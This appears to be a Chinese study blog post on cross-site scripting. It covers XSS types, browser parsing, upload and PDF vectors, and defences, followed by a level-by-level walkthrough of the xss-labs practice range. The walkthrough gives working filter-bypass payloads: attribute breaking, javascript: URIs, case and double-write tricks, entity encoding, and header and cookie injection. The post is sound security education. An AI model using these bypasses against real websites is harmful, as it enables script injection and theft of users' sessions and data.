Study_xss
XSS原理
XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
XSS攻击类型
根据XSS脚本注入方式的不同,我们可以将XSS攻击简单的分类为反射型XSS、存储型XSS、DOM-based 型。
反射型XSS
又称为非持久型XSS。
流程:发出请求(XSS代码嵌套进URL)–>服务端解析并且响应–>传回给浏览器并且解析
特点:
- 即时性。不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据
- 攻击者需要受害者"配合"
- 难发现,难修复,难收录()
- 盗取用户敏感保密信息
存储型XSS
又称为持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端,下次不用再去提交XSS代码
一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。
这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。
特点:
- 持久性,直接打到数据库里面
- 危害大。甚至可以把用户机器变成肉鸡去造成危害
- 盗取用户敏感信息
DOM-based 型
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
代码解析
DOM&HTML标记
浏览器收到代码,先构建DOM树和解析HTML。
HTML标记解析一般比较快,包含了开始结束属性名和值,解析之后构建了文档树。
DOM树主要是描述文档的内容,可以反应标记之间的关系和层次结构。DOM节点越多,构建时间越长。不过有个特别的点,比如加载到一个img资源,会请求这个资源,并且下载,但是整个过程是异步的,浏览器会继续解析和生产HTML部分,并不会等待img下载完
JavaScript的解析
顺序:HTML解析到JavaScript部分的时候,HTML会停止解析,控制权到JavaScript引擎,执行代码后再继续解析HTML。
缺点:如果JavaScript的代码运行过长,就会有负面影响,所以就会有异步(async/await)去处理。当JavaScript代码执行时,如果该代码修改了DOM结构或样式,可能会触发浏览器重新构建DOM树和应用样式,从而导致页面的重绘和回流,影响页面的性能。
浏览器方面:当遇到<script>
标签,就会停止HTML解析,进行JavaScript解析。遇到URL协议or事件属性的标记时,交给JavaScript去解析,如果还不行就会报错,这也就是为什么有时候在某个页面插入了XSS弹窗后,假如你不点击你的弹窗的相应的操作,某些元素就无法进行加载。
CSS代码的解析
在遇到CSS代码时,浏览器不会像JavaScript代码一样去停止HTML标记的解析,相反它会继续进行HTML代码的解析,并且将CSS代码交给CSS引擎来进行处理。
关于解码
HTML主要是为了避免歧义所以才解码的,比如<>
这种东西可能是标签or属性值,那么传递的时候利用编码就不会有歧义了,例如<div>
–><div>
or<div>
。
JavaScript主要是为了防止漏洞和语法错误,一般遇到<script>
这种东西就回进行JS编码,但是< > ' " ( )
是不能JS编码的
举个栗子:<img src=# onerror=alert(1)>
,解码之后是<img src=# onerror=\u0061\u006C\u0065\u0072\u0074(\u0031)>
,而不是全部去解码
实战
常见的基础的payload
|
|
一般场景
有框就插进去试试,记得F12锁定框去看看过滤了什么。
文件上传XSS
- 修改文件后缀:bp抓了,上传文件的时候把后缀改成
.html
or.htm
,然后在文件里面去插入XSS代码 - svg写入XSS:简单来说就是svg文件里面去嵌入XSS代码,例如
|
|
- exif写入XSS:前提需要网站解析图片的exif信息才可以成功使用此方法,
exiftool -Comment="<script>alert(1)</script> filename.png"
PDF-XSS
PDF编辑里面可以插入XSS代码,写进去然后保存成PDF文件,传到浏览器。但是这不是我们最终的目的,在本地弹窗的意义不大,我们需要让某个网站在线解析或者打开我们制作好的PDF文件才可以,当然防御的方法就是用户在打开PDF文件时候,强制让用户在本地下载打开。
更多方法看https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html
工具
fuzz:https://github.com/TheKingOfDuck/easyXssPayload
XSStrike:python xsstrike.py -u http~
关于防御
逻辑方面
- 一般的XSS:过滤/把HTML实体化编码特殊字符:
<>"'
等 - 文件上传XSS:检查后缀,剥离exif标签
- PDF-XSS:强制用户必须下载文件,而不能在线阅读
代码方面
- PHP的
htmlentities()
orhtmlspecialchars()
- python的
cgi.escape()
- ASP的
Server.HTMLEncode()
- Java的
xssprotect
- nodejs的
node-validator
HTTP头层次
- X-XSS-Protection
|
|
- X-Download-Options
|
|
- X-Content-Type-Options
|
|
- X-Frame-Options
|
|
- Content Security Policy(CSP)
|
|
HttpOnly
当一个 cookie 设置了 HttpOnly 标志后,浏览器会禁止通过 JavaScript 脚本来读取这个 cookie 的值。这意味着即使有 XSS 攻击成功注入了恶意脚本,也无法从受害者浏览器中获取敏感的 cookie 值,从而有效防止了 cookie 盗取和会话劫持攻击。 但是HttpOnly不能够完全防御XSS,只能减少XSS带来的危害。
- PHP
|
|
- Java
|
|
- Python(Django 框架)
|
|
- nodejs
|
|
XSS-lab
一个基础xss靶场,后面4个是关于flash的,就不写了
关于靶场搭建
windows可以小皮搭建,mac/linux推荐docker
docker run -d –name xss-labs -p 51142:80 shadowaura/xss-labs:latest
level1~2
无任何防御的两关
level1
直接输入<script>alert(1);</script>
即可
level2
先把老payload输入进去,发现不行,并且payload回显在
|
|
甚至发现这个并没有被转义,主要是因为没有闭合导致的,加入">
即可
完整payload:"> <script>alert(1)</script>
level3~9(字符过滤绕过)
level3
注:php8.1.0及其以上版本已经修复
htmlspecialchars
函数,把预定义的字符转换为 HTML 实体
- &:转换为&
- “:转换为"
- ‘:转换为成为 '
- <:转换为<
- ‘>:转换为>
语法htmlspecialchars(string,flags,character-set,double_encode)
- string:必需,规定要转换的字符串
- flags :可选,规定如何处理引号、无效的编码以及使用哪种文档类型
- character-set :可选,一个规定了要使用的字符集的字符串,如:UTF-8(默认)
- double_encode :可选,布尔值,规定了是否编码已存在的 HTML 实体。
flags参数可用的引号类型
- ENT_COMPAT :默认仅编码双引号。
- ENT_QUOTES:编码双引号和单引号。
- ENT_NOQUOTES:不编码任何引号。 注:xss-lab中有些关卡可以利用单引号绕过是因为flags参数默认只编码双引号
double_encode参数布尔值
- TRUE:默认,将对每个实体进行转换。
- FALSE:不会对已存在的 HTML 实体进行编码。
这里靶场用的是htmlspecialchars($str)
,尝试输入pyload,发现
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
,然而,可以发现这里 value 的值用的是单引号。既然单引号不会被转义,我们可以闭合 value 这个字符串。
但是,<>
都会被转义,似乎不能闭合这个标签。有什么办法能够不用 <script>
标签来注入 JavaScript 代码呢?答案是使用触发器,比如 onfocus
或者 onmouseover
。
javascript:alert(1)
使用了java伪协议,就是把javascript:
后面的代码当JavaScript来执行
onmouseover=javascript:alert(1)
onfocus=javascript:alert(1)
level4
payload打进去,回显<h2 align=center>没有找到和<script>alert(1)</scrpit>相关的结果.</h2><center>
把<
给过滤了,双引号没过滤,把上一个代码改一下扔进去试试,合理
" onmouseover=javascript:alert(1) "
level5
老规矩,输入payload,返回<h2 align=center>没有找到和<script>alert(1)</scrpit>相关的结果.</h2><center>
,
而且输入框中变成了<scr_ipt>alert(1)</scrpit>
,
输入">" onmouseover=javascript:alert(1) "
,发现变成" o_nmouseover=javascript:alert(1) "">
正确思路是可以利用 JavaScript 的 URI
<a href=javascript:alert(1)>hack</a>
<a>
标签后面的href不一定非要跟url,还可以是URI,可以视为 URL 的超集,后面跟javascript
就可以执行后面的内容,mailto
就会去打开邮件去发信息,所以可以借助这个运行js代码
"> <a href=javascript:alert(1)>hack</a>
level6
尝试payload,发现变成<scr_ipt>alert(1)</scrpit>
,尝试5的payload,发现变成<a hr_ef=javascript:alert(1)>hack</a>">
,发现href被过滤了,课源码,
|
|
发现过滤了五个东西,可以利用html的特性,HREF和href的效果是一样的,大小写不会区分
"> <a HREF=javascript:alert(1)>hack</a>
level7
尝试输入payload,发现回显<>alert(1)</scrpit>
,整个被替换为空了,那么6的payload当然不能使用了,看题目源码
|
|
果然全部换为空,但是php特性,替换只会替换一个,比如<scriscriptpt>
就会被替换为<script>
,这就是双写绕过?
"> <scriscriptpt>alert(1)</scriscriptpt>
level8
尝试原始payload,发现会被替换<scr_ipt>alert(1)</scr_ipt>
,并且是链接形式,好像没啥区别,看源码
|
|
新增的是双引号被过滤了,
"> <a href=javascript:alert(1)>hack</a>
进去变成<a hr_ef=javascr_ipt:alert(1)>hack</a>
,href可以通过大写绕过,但是javascript怎么搞
HTML 实体有两种写法,第一种是 &entity_name; 形式,比如 $lt;
表示小于号,”&“开头,”;“结尾;第二种是 &#entity_number; 形式,其中 entity_number 是字符的实体编号,比如 <
也能表示小于号。使用第二种方式,任何字符(包括 ASCII 字符)都有其实体表示。https://mothereff.in/html-entities 可以提供转换,”&#“开头,”;“结尾
突然想起来这个是要加入到链接的,HREF不用写的
javascript:alert(1)
level9
尝试上一题的payload,回显<a href="您的链接不合法?有没有!">
,看看源码
|
|
与上一题不同的就是添加了对http的验证,我们在后面加上注释,写上http://就行了
javascript:alert(1)//http://
level10~16(字段注入)
level10
尝试老payload,发现无特别回显,看看源码
|
|
尝试所有内容输入http://localhost:51142/level10.php?keyword=test?t_link=tlink&t_history=thistory&t_sort=tsort
,得到
|
|
t_sort
的信息并没有过滤,可以尝试从这里注入,从源码得知<>
被过滤掉,尝试类似" onmouseover=javascript:alert(1) "
的payload
http://localhost:51142/level10.php?keyword=test&t_sort=" onmouseover=javascript:alert(1) "
发现回显
<input name="t_sort" value="" onmouseover=javascript:alert(1) "" type="hidden">
,被隐藏了xd,html里面加一个type去覆盖这个状态
http://localhost:51142/level10.php?keyword=test&t_sort=" onmouseover=javascript:alert(1) type "
level11
看页面源码
|
|
发现referer被传回来,是上一个靶场的链接,bp抓包给他改了传回去
Referer: "type="text "onmousemove="alert(1)
还有一种方法创建一个文件名为 " onmouseover=javascript:alert(1) type ".html
的 HTML 文件,在其中重定向到 level 11 的页面。
level12
看看页面源码
|
|
给了ua,很明显举要改ua,改成"type="text "onmousemove="alert(1)
就行
level13
修改cookie为" onmouseover=javascript:alert(1) type "
level14
貌似这个关卡寄了,看别人的博客貌似是exif xss,就是图片上传,图片的属性改成xss的马
level15
这一关考的是ng-include:
这个东西,文件包含
- ng-include 指令用于包含外部的 HTML 文件。
- 包含的内容将作为指定元素的子节点。
- ng-include 属性的值可以是一个表达式,返回一个文件名。
- 默认情况下,包含的文件需要包含在同一个域名下。
语法
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
第一种做法,把以前关卡的漏洞包含进去,我们就可以打了
第二种方法,写一个能够弹窗的简单 HTML,然后 include 进来
|
|
如果放在网站根目录,就是?src="/alert.html"
感觉这种遇到的可能性很小
level16
看下面源码
|
|
还是过滤类型的,空格和srcipt都没了,主要是空格,html里面换行符可以替换掉空格,%0A
http://localhost:51142/level16.php?keyword=<img%0Asrc=1%0Aonerror="alert(1)">